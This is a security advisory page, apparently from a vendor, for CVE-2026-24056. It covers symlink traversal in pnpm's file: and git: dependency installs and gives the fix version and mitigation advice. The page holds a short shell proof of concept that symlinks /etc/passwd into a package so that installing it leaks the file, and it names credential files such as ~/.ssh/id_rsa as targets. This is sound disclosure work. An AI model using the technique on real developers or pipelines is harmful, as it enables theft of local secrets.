CVE-2026-24056 — pnpm
Fix: pnpm/pnpm@b277b45CVE-2026-24056 is a Path Traversal vulnerability in pnpm. A fix is available for pnpm — see the affected versions and patch details below.
pnpm has symlink traversal in file:/git dependencies
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-24056.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
pnpmnpmDescription
Summary
When pnpm installs a file: (directory) or git: dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., /etc/passwd, ~/.ssh/id_rsa) causes pnpm to copy that file's contents into node_modules, leaking local data.
Preconditions: Only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.
Details
The vulnerability exists in store/cafs/src/addFilesFromDir.ts. The code uses fs.statSync() and readFileSync() which follow symlinks by default:
const absolutePath = path.join(dirname, relativePath)
const stat = fs.statSync(absolutePath) // Follows symlinks!
const buffer = fs.readFileSync(absolutePath) // Reads symlink TARGET
There is no check that absolutePath resolves to a location inside the package directory.
PoC
# Create malicious package
mkdir -p /tmp/evil && cd /tmp/evil
ln -s /etc/passwd leaked-passwd.txt
echo '{"name":"evil","version":"1.0.0","files":["*.txt"]}' > package.json
# Victim installs
mkdir /tmp/victim && cd /tmp/victim
pnpm init && pnpm add file:../evil
# Leaked!
cat node_modules/evil/leaked-passwd.txt
Impact
- Developers installing local/file dependencies
- CI/CD pipelines installing git dependencies
- Credential theft via symlinks to
~/.aws/credentials,~/.npmrc,~/.ssh/id_rsa
Suggested Fix
Use lstatSync to detect symlinks and reject those pointing outside the package root in store/cafs/src/addFilesFromDir.ts.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | pnpm | all versions | 10.28.2npm install pnpm@10.28.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pnpm, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pnpm to 10.28.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-24056 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-24056 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-24056. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-24056 in your dependencies?
O3 Security finds CVE-2026-24056 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.